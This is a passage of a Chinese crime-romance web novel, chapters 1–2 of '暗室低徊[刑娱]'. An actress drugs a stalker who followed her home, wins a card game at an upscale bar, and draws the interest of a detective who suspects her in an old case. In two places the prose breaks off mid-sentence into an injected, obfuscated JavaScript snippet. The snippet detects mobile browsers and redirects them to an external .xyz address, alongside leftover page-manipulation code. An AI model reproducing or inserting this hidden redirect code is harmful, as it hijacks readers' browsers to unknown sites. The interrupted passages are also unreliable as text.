《暗室低徊[刑娱]》 1. 笑面人 一 深夜骤雨,月色混沌,本就少有人来往的偏僻窄巷此时更显冷清。 即使偶有行人路过,也均是步履匆匆地向着目的地行进,没有人留意到便利店门口不知如何是好的女孩。 眼看这场大雨一时半会并没有停下来的迹象,女孩无奈地望了望天,最后索性把买来的最后一颗糖也一并丢进嘴里嚼碎,扯了扯衣袖遮住手上缠着的绷带,抱着塑料袋直接闯进了雨里,全程并没有注意到身后的异样。 不远处的车后,一个包裹严实的壮硕男人迅速闪身而出,举着伞快步跟上前面的女孩。 黑色的伞面几乎遮住了男人的整张脸,他双眼阴鸷地紧盯身前人动向的同时,还不忘小心地护住胸前的双肩包。 男人背包的双头拉链在右侧拉开了一小条缝隙,始终放在包里的右手似乎随时准备从里面掏出点什么东西来。 原本他以为自己这次是走了大运才接到这么个美差的—— 毕竟难得遇到个钱多事少的雇主,唯一的要求也就是让他偷拍几张照片而已,目标对象还是个柔弱姑娘,这事几乎就是个零风险稳赚不赔的买卖。 可没想到他一连蹲了几天,只在这临交工前的最后一天晚上才终于摸清了目标的行踪。中途狼狈淋一场大雨差点浇坏设备不说,真正能拿去交差的照片还几乎一张都没拍到。 再这样下去他只能舍身亲自上阵制造八卦了—— 大不了直接打晕拖走,到时候还不是要什么有什么。 反正又没人限制他采取的手段,这钱他是一定要拿到手的。 坑洼地势极易积水,路也因此变得十分难走。 这条路女孩走得驾轻就熟,而身后的人则走得深一脚浅一脚。 男人既要时不时留意怀里的东西不被淋湿,还要小心避免惊动身前的人,没多会儿两人之间的距离便被拉开了。 小巷拐角处,正当男人为跟丢了人而懊恼的时候,没想到那女孩竟从墙边的小片阴影里探身向他的方向望了过来。 这一眼让男人条件反射般把右手从包里迅速抽了出来。 “不好意思,请问……可以麻烦您送我回家吗?”女孩并没有留意他的小动作,待男人靠近后,她低头不好意思地抿了抿冻得发白的嘴唇,随着睫毛扑闪滚落下来的雨珠更衬得她整个人楚楚可怜,“这雨下得实在太大了,我没带伞,买的药要是被淋湿就麻烦了……” 男人瞄了一眼她怀里紧紧抱着的塑料袋,又自上而下黏稠地打量一番她被雨水打湿不少的单薄衣裤,直看得眼神都变了味。 似乎是个没什么理由让人会去拒绝提供帮助的情况,更何况对方看起来还是个构不成丝毫威胁的目标对象。 “啊……没问题。” 男人被预料之外的展开打了个措手不及,但还是尽力表现出了一副热心模样,分了一半伞过去,佯装认真地询问起对方的地址来。 一路的交谈略显拘谨,但男人不难从中感觉出女孩本就单纯善良的本性,三言两语间她的家底就差不多全被他套出来了。 “一楼这家老房主去年在家煤气中毒去世了,儿女定居国外,房子就一直空着没人住……二楼这家的小儿子前两年夏天傍晚和父母一起出去遛弯出车祸没了,父母两个人不愿再留在这个伤心地,也搬走了——你看,他们家门口墙上的涂鸦还是那个小孩画的呢。三楼就不用说了,还打着封条呢……” 女孩沿着布满灰尘的逼仄楼道一路向上走,每路过一家都会和身后的男人聊上两句概况。 男人低头甩着伞上的雨水,每一步都准确踩在女孩留下的湿漉漉脚印上,脸上的笑容藏都藏不住。 每一家的情况在他听来都是“这家没人那家也没人,好下手,赶紧动手吧”。 没办法,看来连老天爷都在变着法地帮他。 盘中餐注定难逃命运啊。 “今天真是太谢谢您了,”女孩到家后还没来得及换下被雨淋湿的衣服,转身就钻进了厨房,“您随便坐,请稍等一下。” 男人这下连原本已经到了嘴边的说辞都被省掉了,出乎意料地直接被屋主邀请进了屋。 局促地找了个地方坐下后,他借机四下打量起房屋内的一切—— 跟想象中实在是太不一样了。 给的资料里分明说这女孩是个演员,那按说她应该挺有钱的才对,但这住的地方也太…… 干净倒是干净,就是装潢家电都是十几年前的陈旧样式。 餐桌上除了一袋开封的薯片以外还摆了几枝干花,旁边还有一小瓶…… 这是什么? 胶水? 怎么这种东西会放在这里? 客厅吊灯的灯泡瘪了两个,仅剩的三个还被灯盘里积攒的灰尘飞虫遮去了不少亮度。 昏暗光线下依旧能看出褪色墙纸的边缘翘起,剐蹭着墙边摆放一溜的大大小小盆栽。 这些盆栽有用敲碎的玻璃酒瓶养的,也有栽在标签模糊的木盒里的,高矮错落,总之就是没有一株是种在正经花盆里的。 不过郁郁葱葱的一片,长势倒都还不错。 男人又往厨房的方向瞟了一眼,悄悄把手探进了随身的背包里。 “如果不是您送我回来,我肯定得被这场雨浇透了。” 由远及近的声音打断了动作,男人匆忙松手收回了目光。 只见女孩小心地端了两杯茶水,将其中一杯放在了他面前的桌上。 男人尴尬地一清嗓子:“没什么没什么,举手之劳而已……” 说了一路话的确让男人觉得有些口渴,但他迟疑着,并没有着急端起杯子。 女孩见状眨眨眼似乎意识到了什么,于是赶忙用手中的另一杯热茶把先前放下的那杯换了过来。 “看我这记性,之前这杯子老被我家小猫偷喝水来着,小家伙总是看什么都新鲜。”她仰头喝了一口,又向男人指了指另一杯示意,“那杯您放心喝,杯子是新的!” 男人为自己多疑错怪了对方的好意而多少感到有些抹不开面子,于是赶紧端起来喝了一口,顺势转移话题掩饰道:“你还养猫了?怎么没看见它呢?” 头顶三个灯泡的其中一个闪了闪,光线变得更暗几分。 女孩站在原地没说话。 等待回复的时间过长,男人不禁诧异地抬头,试图看向身前始终没有落座的女孩。 但就在他这小幅度的动作间,一阵眩晕骤然席卷大脑,触目所及的画面瞬间全都跟着一起扭曲颠倒了起来。 最终整个人失去重心趴在了桌子上的时候,男人隐约听到了带着笑意的一句话—— “着什么急啊,这就送你去见它。” 不再多看那男人一眼,池观月背着顶灯灯光,随性地倚坐着桌沿,伸手拽过桌子上盛“药”的塑料袋,从里面拎出了一罐啤酒。 拉开拉环,她面无表情地往男人脸上浇了近一半,确定男人彻底陷入昏迷无误。 裸露出的小臂线条并不病弱似的过分纤细,稍微用力便可以看出长期锻炼的痕迹。 此时的她,已经完全没有了刚才男人眼里的那副腼腆模样。不笑时稍显凌厉的气质,配上眼尾一颗若有似无的泪痣,更为优越的骨相平添了几分颇具吸引力的耐人寻味甚至攻击性——也许这才更贴合她的本性。 “一楼没有人,二楼也没有人,三楼……哦对,三楼的封条快掉了,待会下楼记得带点胶水过去粘粘。” 池观月腾出一只手捞过餐桌上的胶水瓶,哼着不知名的调自言自语。 “一切都得保持原样才行啊。” 头顶的灯泡闪得越来越频繁,池观月晃晃手里剩余的小半罐啤酒,沉默地抬头看了一眼头顶忽闪的灯。 许久过后她无声叹出一口气,把啤酒倒进水杯里摇匀,走到墙边给每盆花都浇上了一点。 “最近忙,好久没见,你们长得倒挺快。” 池观月浇完花从电视柜抽屉里抽出一副手套慢条斯理地戴上,开始对不省人事的男人搜身——先是拿出了男人藏在背包里的单反,把里面仅有的几张偷拍她的照片给删了个干净。而后她再一细想似乎觉得还不够严谨,索性把内存卡直接取出来没收了。 除了偷拍设备外,她还从背包里摸出了一卷绳索、各式金属锐器以及一个贴身放置的电击器。 她嗤笑一声:“东西倒没少带,用得明白吗?” 零零碎碎的东西清点完正要撑着膝盖起身,结果她猝不及防腿一软,整个人差点跪在地上。 池观月这才想起来下午上课的时候自己用腿挡了陪练队友一击,不料对方没控制好力道,直接一记猛踢把她膝盖到小腿的部分给踢出了一片淤青。 不过问题不大。 池观月撑着椅背站起来缓缓活动关节,琢磨着这程度应该睡一宿觉就好得差不多了。 在她这儿,只要没死就都算小伤。 翻出来的东西被随手扔到了桌面上,一张不起眼的纸条被一并带了出来。 纸条上记录着一串有些眼熟的电话号码,池观月细想无果,顺手拿出手机打算查一下。 解锁的同时刚好一个电话打了进来。 “喂,”接起电话,对面的男声带着股懒洋洋的痞气,“我马上就到楼下了,没地停车,你赶紧收拾收拾准备——” “先等会儿,”池观月确认完时间顺手把纸条塞进了自己兜里,脚尖踢了踢不省人事的男人,“这儿有个男的,你上来一趟,帮我把他捎走。” 骤雨初歇的深夜,朗安区,漫野酒吧。 第一轮,第八局。 比起稳居金字塔顶端远离世俗、神化自己,这座城市最年轻的继任者们明显更爱当个身着华服的夜行动物。 极尽奢靡,在漫野这纸醉金迷版的“桃花源”尽情狂欢,蔑视一切。 然而今日他们中的相当一部分人却分离出来,举杯难得安静地围到了五号桌旁。 昏暗暧昧的光线柔和勾勒着桌边人的轮廓,和着背景隐约几声爵士乐落入杯中的酒里,令人目眩。 被围绕着的,是对酒吧常客们来说面孔略显陌生的一男一女。 两人相对而坐,各自手执一张纸牌,将牌面面向对方置于额前,又分别拿出了手边的一个筹码。 在所有的玩乐环节里,池观月最爱挑选社交面具的过程。 其次就是享受扮猪吃虎时,周遭在她眼下自诩技高一筹的样子。 此次出发前她依然兴致十足地打定了主意——由内到外换上一副骄矜人设,高奢短裙细高跟加身,举手投足间演尽旖旎而不自知。 长腿交叠优雅落座在五号桌一侧,看向对面又拿出一个筹码。 对面的人看着她手里那张2,做出了相同的动作。 视线下移,往来对立的目光拉锯出微妙火花。 除去与两人各自一同前来的朋友外,围观的人大多是来看热闹的。 氛围剑拔弩张的两位,其实也是今晚第一次见。 明明两个长相如此出挑的人,总该给人留下些印象才对。 围观的男男女女人脉网不可小觑,但任凭他们如何互相打听猜测,都无法拼凑出有关面前两人一星半点的信息。众人眼见交谈无果,最终只得被两人精彩的较量吸引驻足观看。 所谓较量,其实核心倒更像是心理战术。 印第安扑克——除自己以外的所有人都可以看到自己的牌面,面对面的两人要根据对方的点数进行下注,点数大者赢得所有下注的筹码。 规则很简单,精彩的是博弈过程。 以筹码下注,然而其实并没有什么赌注,两人只是借着娱乐的名义想压对方一头罢了。 池观月把她手边一半的筹码推了出去。 坐在她对面的男人眉眼舒展深邃,似乎无论什么局面都不会让他表情发生太大变化,让人难猜喜怒。 冷漠俊逸的长相,偏偏配上薄软微微上翘的唇就增添了奇异的碰撞,直生出几分淡淡的桀骜,举手投足间都似乎带了些傲慢。 又是一个没挨过社会毒打的富二代。 池观月腹诽。 被盖章富二代的人果然出手阔绰,张嘴说了句“Allin”,两人下注的筹码被堆到了一起。 池观月颇感意外地一挑眉,一时间不知道这人是真不会玩,还是单纯的艺高人胆大。 总之事已至此,她当然没有弃牌的道理,大不了自己也全押直接开牌,当下战况于她而言问题不大。 两人迎着对方的目光,收敛着所有情绪。 记牌的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14978276|161450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,留了后路,赌对方加注或者弃牌;无记牌的,押上所有,赌对方拿着最小使诈。 双方开牌,旁观的人们这才敢出声感叹称奇——两张牌点数一样,胜负由下一局决定。 偏偏,下一局两人放到桌子上的纸牌点数又是一样的——罕见的情况,只能由最后一局点数定胜负。几番极限的拉扯,让在场的其他人呼吸都变得小心翼翼了起来。 修长的食指点在纸牌背面却没着急翻牌,池观月眨了下眼,一脸无害地看着对面的人:“考不考虑弃牌放我一马?” “当然不,想看你赢。” 说得好听。 除了心理战术,这游戏大概还需要些记忆力—— 记牌,只有这样才能让自己在极限往来试探中拥有十拿九稳的底气。 总共二十张牌的游戏,池观月从头到尾跟了全局,记全了已出的十八张牌。 因此在看到对方亮牌的那一刹那,她就已经知道了游戏的结局。 唇角掀起愉悦弧度,池观月轻笑一声翻过纸牌,用口型无声地向对方示威:我赢了。 先前撩拨似的示弱,不过是好奇他的反应罢了——好斗的人,会耀武扬威地反驳;别有用心的人,会顺势而下当个绅士。 以此作为划分,这两种人她都没少见过。 但是今天竟然见识到了第三种。 对面情绪始终没多大起伏的人,此时却终于出现了一丝破绽,看起来似乎有些懊恼。 池观月端杯起身,将他的情绪变化尽收眼底。 男人身旁的朋友搭着他的肩低声调侃:“漫野出了名的‘五号桌’,这下可得心服口服地拱手让给人家了啊。” 池观月本能地端详猜测着旁边那人的身份——身形笔挺,即使在笑也莫名带着股威严正气,不完全是与生俱来的气质,而更像是出自某种职业习惯。 她盯着对方的手看了几秒后暗自笑笑,看来这是位警察啊。 那刚刚玩牌和自己交手的这位呢? 难得出现这种让她一眼判断不出来身份的人。 两人关系看起来不错。 那么他是警察的同盟,还是反派的眼线? 漫野地处朗安区远离喧嚣中心的稍偏位置,设计别具一格的暗色建筑安静地将其中包裹着的狂欢分解,维持着一如它外观给人的疏离感。 建筑内一楼的公众区域专为前来聚会的宾客准备,酒水小食一应俱全,配置与寻常酒吧类似。建筑内的装潢,却无一不暗示着主人独到的品位以及前来消费人群非富即贵的身份。 二楼则是一个个隔绝一楼喧闹的独立包间。 有圈内极佳的口碑及严密的安保措施做担保,即使严肃的对话仿佛与此地显得格格不入,其依然成为了要事商谈地的首选。 漫野一楼的五号桌是固定不参与外订的,这一点常来的客人们都知道。 这一桌的主人实际并不常来,因而也鲜少有人知道这位到底是个什么人物。任凭偶尔客流量再大,这桌位置也还是会被空出来。 偏偏今天,五号桌的主人在约好朋友之后,收到了“已被预约”的消息。 于是何将醉在所难免地受了朋友一通揶揄:“居然有人敢跟你小子抢地盘了?而且还是越过你直接定的?” 肩颈稍作舒展,何将醉从容起身接过酒侍递来的酒杯,跟池观月默契一碰。 “厉害。” 亲眼所见后,他算是明白敢在这里叫嚣的新客底气到底从何而来了——任凭外在如何柔美蛊惑人心,眼睛里的猛兽终归还是藏不住的。 “最后几局才接手,你发挥得也不错。”池观月莞尔,歪了歪头示意旁边与她一同前来的男人,“怪只怪这败家子前几局把家底输得差不多了。” 没有称谓,言行神态间看不出她与那人是什么关系。 一轮十局,她的同行人和她玩了前六局,何将醉是在后来才稀里糊涂被朋友拉过来入局的。 看热闹不嫌事大的朋友美其名曰找回主场,结果连本钱都没捞回来。 池观月轻声隐约哼着那不知名的调,待对方起身和自己碰杯的时候,她的目光落到了对方手中的满杯酒上,微微欠身似乎在定睛观察,片刻后好奇地抬眼看住他:“这是什么酒?好漂亮。” “长烟醉月。” 在对方带着笑意的眼神里,池观月一脸期待地抿抿唇,用口型无声问他:我能尝尝吗? 何将醉一愣,显然没料到这段展开。 “……当然。” 听到肯定的回复,池观月索性就着他端杯的手轻抿了一口,接着与他碰了一下杯。 清脆的一声响起,她在他耳边轻声附了句:“味道不错,下次教我?” 极近距离那人停顿一秒,滴水不漏地把话接了过来:“赢我一局,该我向你请教才对。” 态度暧昧不明,熟练得像是个“惯犯”。 池观月意味不明地翘了下嘴角,深深看他一眼后撤开距离。 回头的时候,她注意到了远处不和谐的骚乱。 以这个地方的安保措施来说,不该有这种情况才对。 想到自己还有约在身,池观月收回视线走到刚才和她一起打牌的彭焕身边,佯装亲昵地扶住他的肩膀近距离低语,实则腾出一只手无意识地揉搓膝盖,借力缓解腿痛。 她一敛刚才散漫的状态,从周遭暧昧不可言说的视线中抽回目光,扫了一眼同行的另一个姑娘,低声对彭焕道:“你带她先走,小心别被拍到。我还有事,解决完之后出去找你。” “好,注意安全,有事叫我。”彭焕也没多问,点头答应后神色不变,转身吊儿郎当地揽着身旁的姑娘就往外走。 “我还有事,先走一步,下次见。”池观月随手拍了拍何将醉的肩算是打过招呼,随后转身去往二楼。 二楼走廊尽头的某个房间前,池观月伸手象征性地敲了两下门,随后推开门没入黑暗。 一楼的两个人行完注目礼后互相对视了一眼。 “她刚才哼的那个调,有点耳熟。” “调有点怪,好像不是流行曲,像是随口哼的。”身旁人茫然地摇头,“你还在哪听过?” 何将醉思忖片刻,重新抬头看向二楼紧闭的那扇门:“墓地。” 2. 笑面人 二 “等很久了吧?”池观月摸索着开了盏壁灯,手落下的时候似乎触到了什么冰凉的东西,“黑灯瞎火的,也不嫌害怕。” 原本坐在窗边月色里的女人转头望了过来,戏谑道:“害怕倒不至于。主要是心情好,正在算今天你大驾光临这趟一共给我的营业额翻了几倍——就这么会儿功夫,我可已经打发走好几个跟我打听你的人了。” “这届小伙子不太行啊,连点当面追人的勇气都没有,难成大事。” 辞安带笑的眼神在看到她的时候一顿,突然调转话锋:“受伤了?” 池观月顺着她的目光低头看过去,方才反应过来:“哦这个啊,今天训练的时候留下的——你还不了解我吗,磕磕碰碰在所难免,这程度哪算得上是伤啊。你眼神倒是挺好的,这都能发现。” “没事就好,”辞安轻哼一声,“这哪是我眼神好啊。我还以为怎么了,结果是一群脑子里只有油水和黄色废料的东西,看到小姑娘受点伤就开始想入非非了。” 池观月原地反应几秒旋即恍然,嫌弃地摇头以示晦气,转头看向了刚才摸到手里的银色金属物:“这什么东西?手铐?” “新淘到的玩意儿而已。没近距离观察过正品,反正远远一看感觉跟我老妈之前用的那副挺像,就买回来了——不过能入得了你的眼,看来做得确实挺真的。喜欢就拿走。”辞安把长发捋到身后,挑眉扬了扬手里的信封,“今天这趟是从哪过来的?又是唐家的那间老房?” “嗯,顺便过去收拾了一下,给花草浇浇水。” “那正好,来,给你看点真正的大事。” “看来这次终于有好消息了?”池观月拎着手里的物件快步走到桌边坐下,语气难掩期待。 “喏,”辞安把信封沿着桌面推了过去,忽而想到了什么,又迅速伸手把东西按住,“先说好,这次查到的依然只是些沾边的东西,还是没有准确信息,别抱太大希望。” “没事,大不了就是一死,别的再差还能差到哪儿去。”池观月有些感慨,接过信封端详半天,却并没有着急打开,“谢了。” “按照唐家之前做的研究以及经营重心进行调查,他们搬到国外人生地不熟的,又没有别人接济,大概率是会重新做起之前的行当的。现在距离当初也已经过了好几年,事业也该有些起色了。按照这个思路,我终于查到了些沾边的消息。还有就是——”辞安犹豫了一下,“医院那边原本也是一个突破口,但是没查到什么有价值的就诊记录。” 池观月沉默下来,点点头没说话。 辞安出声安慰:“也许这是个好消息,说明她的病情这些年有所好转,不需要再依赖药物治疗了。” “……真的是好消息吗。” 辞安摇摇头,只觉得她在说反话:“不然你坚持这么多年找她的下落,图什么呢?难不成是为了霸占那间老房啊?我可不信。” “图个踏实吧,”信封最终被妥帖地收了起来,轻佻的语气在刻意掩盖着某种情绪,“没直接死在我面前,我就总觉得她还活着。” “我还是那句话——当地数一数二的豪门一夕没落却没人敢问敢找,这说明她们家的事绝不简单。你要小心,最好还是少插手。” 池观月一笑:“我可是实打实在鬼门关前安营扎寨住过的人,已经没什么好怕的了。” “我站你这边,所以可能要说句自私的话,”辞安担忧地拉过她的手,“有些事当放则放。太执着的话,很有可能到最后无论结果是否合你心意,都会让你受到重创的。” 池观月安慰似的拍了拍她的手背:“我明白。” 只是这话到底能做到多少,她们心里其实都清楚。 尔后屋内两人又天南海北地聊了许久才罢休。 辞安另有安排先行离开,池观月则一人在屋里出神独坐许久,等到困倦袭来时才起身走出房门。 结果刚一出门,她就立刻感觉出了周遭氛围的诡异,整个人也因此瞬间清醒了不少—— 一楼大厅的喧闹声几乎全无,本就不太明亮的灯光甚至还变得更暗了一些,仿佛已经打烊了一般。 经典的恐怖片氛围。 她下意识回头扫了一眼身后,待反应过来之后又嘲笑自己的疑神疑鬼,于是把玩着手里的手铐,迈步慢悠悠地朝楼下走去。 不料下至楼梯拐角的时候,黑暗里有人猛然伸出手试图将她拉入怀抱。 池观月浑身紧绷,几乎是条件反射一般果断握住那人手臂向自己的方向一带,由下及上干脆利落地将对方手腕铐住,甚至还一气呵成顺手握了一下铐环确定松紧。 这行云流水的一连串动作显然是对方所始料未及的。 也不知是出于本能还是什么,那人借着身高优势倏地抬腕扬手,金属环扣的碰撞在黑暗里清脆作响,还没来得及松开手铐另一端的池观月踉跄一下,向前跌去。 对方将她稳稳接住,圈在怀里。 气氛诡异而暧昧。 两人所有的动作不过发生在须臾间,凭借着近距离感受到的与自己相似的果酒气息,池观月后知后觉地辨认出了对方正是不久前牌桌上的那人。 下意识的动作确实让自己有些理亏,但此时的她却因为对方的举动,已经打心底开始觉得没意思了—— 看来会来这种地方的人都是一个德行,哪怕面上装得再怎么矜持,稍微一撩拨就也还是会暴露出本来面目。 这样的玩玩也就算了。 “身手不错。” 对方把手腕上的东西晃出声响向她示意,淡定开口丝毫不见慌乱。 反正是不会再见的人,池观月不想节外生枝惹人注意,于是在朦胧光线间有意曲解了他话中重点:“玩具而已,玩过几次就熟了。” “经常玩?” 怎么感觉这话好像味儿不太对? “想知道?还是想学?”池观月决心一条道走到黑,随手一扯自己手里的那半环,点着他温热的胸膛后退半步作势要走,“今天没空,下次教你。” 他拉住她:“先别下去,下面在清场。” 就着黑暗和身高差,池观月也没急着挣脱,眯眼靠着他问:“楼下怎么了?” “一群生意没谈拢就想砸场子的。” 原来他的声音透过空气和通过胸腔听起来的差距是这样的。 “那我也撤了,我怕死。”话虽这么说,但池观月的语气里却一点儿恐惧的味道都没有,反而听起来带着几分慵懒散漫。 无意参与他人是非,正当她扭头要走时,突然听见一楼大厅里有人扬声中气十足:“将醉,我们聊聊吧。” 男人声音不大,但在空荡的大厅里却能让人听得十分清楚,很明显对方知道何将醉一定正在某处看着自己。 这个声音似乎…… 有点耳熟。 池观月下意识地向楼下望去。 胡锐? 几乎是在看到对方的瞬间,她就想起了对方在墓地献花哼歌的画面。 堂堂市局局长怎么会这个点到这儿来? 这还不算,没想到他甚至还跟面前这个玩世不恭的少爷认识? 直觉告诉池观月越快走越好,免得听见不该听的再把她给一起处理掉。 “你有事先忙,我就告辞了啊。”池观月终于正色起来,利索转身准备开溜,刚迈出一步却又突然顿住了脚步,“呃,这手铐……” 何将醉没有在意她的犹豫以及自己手腕上的东西,只拉住她调转方向,顺手把不知道哪儿来的一顶棒球帽扣到了她头顶上:“往楼上走,走廊尽头的房间阳台有楼梯,小心点。” 池观月琢磨着他这时候也没什么坑自己的必要,于是果断按照他指的位置重新回到了楼上,进屋前回头最后看了一眼一楼正在交谈的何将醉和胡锐。 这两个人好像很熟的样子。 池观月拉开车门坐进副驾驶的时候,正好看见彭焕盯着手里像芯片一样的东西,不知道在想些什么。 “得,看来咱们都有点故事,你先说?”池观月把窗户开了一条小缝透风,然后舒服地靠着椅背,偏头看向彭焕。 “无论是圈里幕后盯上你的那个,还是被雇来偷拍你的那个,感觉都不太聪明。”指腹大小的内存卡正被彭焕捏在手里端详,“漏洞百出不说,居然还能被你轻轻松松直接给撂倒了?我到的时候差点以为那人没气了。” “我又不是法盲,人家蹲点一连盯我好几天也不容易,我就让他睡个觉而已。”池观月云淡风轻,“直接夸我厉害不犯法。” 彭焕一挽衬衫衣袖,被她这话激得直接叉腰开始数落起来:“夸你胆大敢往家里领?这又是刀又是电击器的,要是搁别人,跑又跑不过,大概率就直接原地交差了。你胆子也太大了,这人明显不是个普通的狗仔,你还敢这么近距离地跟他接触!” “客厅吊灯正中间那个灯泡坏了,你抽空买个灯泡帮我换一下吧,我这两天实在忙不开。”池观月也不接招,漫野里对待玩乐如鱼得水的她,此时像是换了个人一样伸了个懒腰望着窗外放空,脑子里盘旋的全是辞安刚才跟她说过的话。 彭焕火气未消,闻言毫不客气地哼了一声:“哪止那一个啊,不是本来就有两个坏了吗?我回头找人一起全换了。” “你亲自去。只、换、那、一、个,”池观月睨了他一眼,声音带着周身温度陡降,“其他的不许动,全都保持原样。做不到就放着,回头我自己换。” 彭焕闻言下意识手一抖,身上原本的浪荡加怒气瞬间收敛,终于后知后觉地觉察出来往日一向和自己没正形互怼的人当下情绪不佳,于是他识相地迅速缓和语气:“……知道了祖宗,我去还不行吗,你安心忙你的。” 就知道她一回那间老房子情绪就得受影响。 亏他刚才看她玩儿得那么欢,还以为这次是个例外。 结果没想到她又在利用自己的演技在那儿迷惑人。 彭焕悄悄瞄了她一眼,余光刚好瞟到了副驾台上的一团绷带,结果好好的关心话,直接横着就从嘴里冲了出去:“胳膊折了还是腿折了?没事吧?” 池观月剜了他一眼,语气却不见怒气,整个人终于松弛了下来:“训练的时候保护腕关节用的。我下了课还没来得及拆就被人跟上了,怕打草惊蛇就没动。先放你车上吧,明天还得用。” “转战荧幕接的第一部作品就有打戏啊?”他边说边单手从她身前的储物箱里拎出一瓶跌打喷雾递过去,“不能用替身?” “我又不是不会,上个课巩固一下就能自己上的事,干嘛还要找替身。”池观月接过喷雾理所当然道,“怎么说也是我工作的一部分,要干就好好干。” “所以你不会本来还想拿跟踪你的那个男的练手来着吧?” “也不是不行,”和彭焕相比,池观月倒没什么心有余悸的反应,“当初就是为了图个清净才去演的音乐剧,结果没想到这都能碍到别人的眼。” “我要是没记错的话,好像你新剧开拍之后没多久就开始遇到这种事了吧?还没正式公开的新行程就能被人盯上,对方大概率是个了解你工作行程的人。” 彭焕边说边发动车子。 为了带池观月出来玩,他来这儿一晚上只能点杯不含酒精的饮料来喝,生怕照顾不好这位祖宗,回去又被告黑状。 池观月把公司里认识的人全在脑海里捋了一遍,始终没能想到到底有谁跟她有这么大过节。 想着想着她放空的眼神就飘到了窗外,沉吟着:“那个刚才和我一起打牌的人……” 像他们今天来的那种地方,往往有着能让人抛却白天颇具距离感的面具、放下戒备与矜持的魔力。 深谙并且有意无意地试图利用这一点的,大有人在。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14978277|161450||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>戒备的话,她还是带了一些在身上的。 比如她留意过的他端的酒杯——那杯底的图案,并非其他客人所持的一楼吧台提供的样式,她只在辞安的酒柜里见过一只一样的。除此之外,那杯“长烟醉月”也非外人可点项,她以前没见过,想必应该是他自己调的。再加上五号桌的特殊性…… 她猜他绝不只是普通的座上宾那么简单。 他那双一看就招桃花的眼,不知为何总让她有种被洞悉的感觉。 她一向在需要伪装及动用心理战术的场合游刃有余,但过往对视过的人里,没有任何一个能达到他这个段位。 游戏而已,有必要这么认真吗? 那人像个矛盾体,不寻常的身份和皮相,偏偏配了个并不常流连于风月的反应。 除此之外没想到他居然还认识胡锐…… 彭焕慢了半拍才跟上她的跳跃思维:“那个人有问题?” “不是个善茬,”酒精让她后知后觉有些头痛,池观月顺手拿起出发时放在车上的水杯,拧开喝了一口,“你抽空去查查他吧,查他和局里顶头的那几个老爷子有没有关系。” 哪怕只是个不会再见的路人,她也要小心提防才行。 “知道了。”彭焕打方向盘的间隙瞟了一眼她喝的东西,“这年头来酒吧自带酒水就够离谱的了,这怎么还有人带了杯粥来呢。” “……睁大你的眼睛看清楚,这是拿枸杞泡的水,什么眼神啊。” “好家伙,朋克养生啊,”彭焕倏地想到了什么,“等会儿,你该不会是拿我上次带过去的那罐枸杞泡的吧?我那罐里总共也没多少啊,你没给我剩点?” 池观月一愣:“我就随手抓了一把……” “完了,我跟你说,”彭焕拍着方向盘痛心疾首,“就你多泡的这一把,至少剥夺我十年寿命——本来我能多活十年的。” 池观月晃了晃水杯思考措辞无果,最后索性一口气干杯:“没事,男人至死是少年。” 窗边的人回过身,看向身后那道颀长身影:“难得的棋逢对手。” “确实不是一般人,”何将醉把手里的东西冲着对方一抛,紧接着又卷起袖口把手腕伸了过来,“给我戴一下。” 周澄盯着手里的手铐悚住几秒,一时间不知道是这东西的来历更可怕,还是面前这人没头没尾的要求更可怕。 “愣着干嘛,刑侦支队的队长给人上个铐这种事,还需要缓冲时间?” “这么奇怪的要求还是第一次见,”周澄喃喃着横跨一步过去,握住四指挑铐上铐,调整固定松紧度上保险,一系列动作一气呵成,“满意了?” 何将醉没接话,仔细看完全程后心下确认了自己的猜想—— 池观月近乎本能的反应动作并非只是普通的玩闹经验,而是实打实训练过的结果。 她给人戴手铐的操作和周澄这种专业人士几乎一模一样。 退一步说,一般人遇到突发状况的下意识不是怔愣就是躲避,而她的第一反应是出手反击且反应极快,这一点就足够显现出来她身份的不同寻常。 她到底是什么人? 周澄见他表情深沉,多少猜到了点什么:“她是新目标?” “是陈年旧案的目标。”何将醉答得有些没头没尾,“她之前经常出入的那套老房的房主是旧案被害人,自打房主出事之后,那房子就莫名落到了她这肇事车的车主手里。而且最重要的是——除了那套房的房主姓唐以外,那栋楼其他几家的房主都是她。” 周澄无言和他一对视,整晚隐匿于醉生梦死人群里的眼神,只消一个人命关天的疑点就会重现锋芒。 “我说你怎么突然舍得回国了,合着是从国外跟到国内抓人来了。”周澄若有所思地一点头,“看她挂着彩还能骗过全场的人——旧案不好说,她这得是犯了点什么新事才能又让你盯上吧?” “新事啊,”何将醉掂了掂手里的金属,认真思考片刻,“什么程度算新?今天傍晚刚单枪匹马把附近一个鬼鬼祟祟蹲点多日的壮汉给骗走干掉了——这种算新吗?” “……你如果不是在大喘气的话,我可就要出警了。” 何将醉难得带了点笑意,摆了下手:“我一个人就够了。不过她倒确实不是善茬,别人眼里的不可说、你眼里的普通挂彩,实际大概率是专业训练留下的伤。” “怎么说?” “膝盖侧面到胫骨上端带伤,像是在面对对手力量较大的踢击时使用拦截腿会造成的损伤。”何将醉手里的手铐晃出响声,“而且她遇袭的第一反应不是躲避而是反手给人上铐,流程细节还和你刚才几乎一个样。” 周澄张了张嘴:“……你俩第一次见面就玩这么花啊?” 何将醉鲜少被人问住,一时间哑口无言:“……” 合作多年的默契让周澄没有再追问的意思,只是熟练解开他手腕上的东西,随后顺手打开电视看起了新闻重播:“这几天已经忙得要死了,一想到明天就更头疼了——” 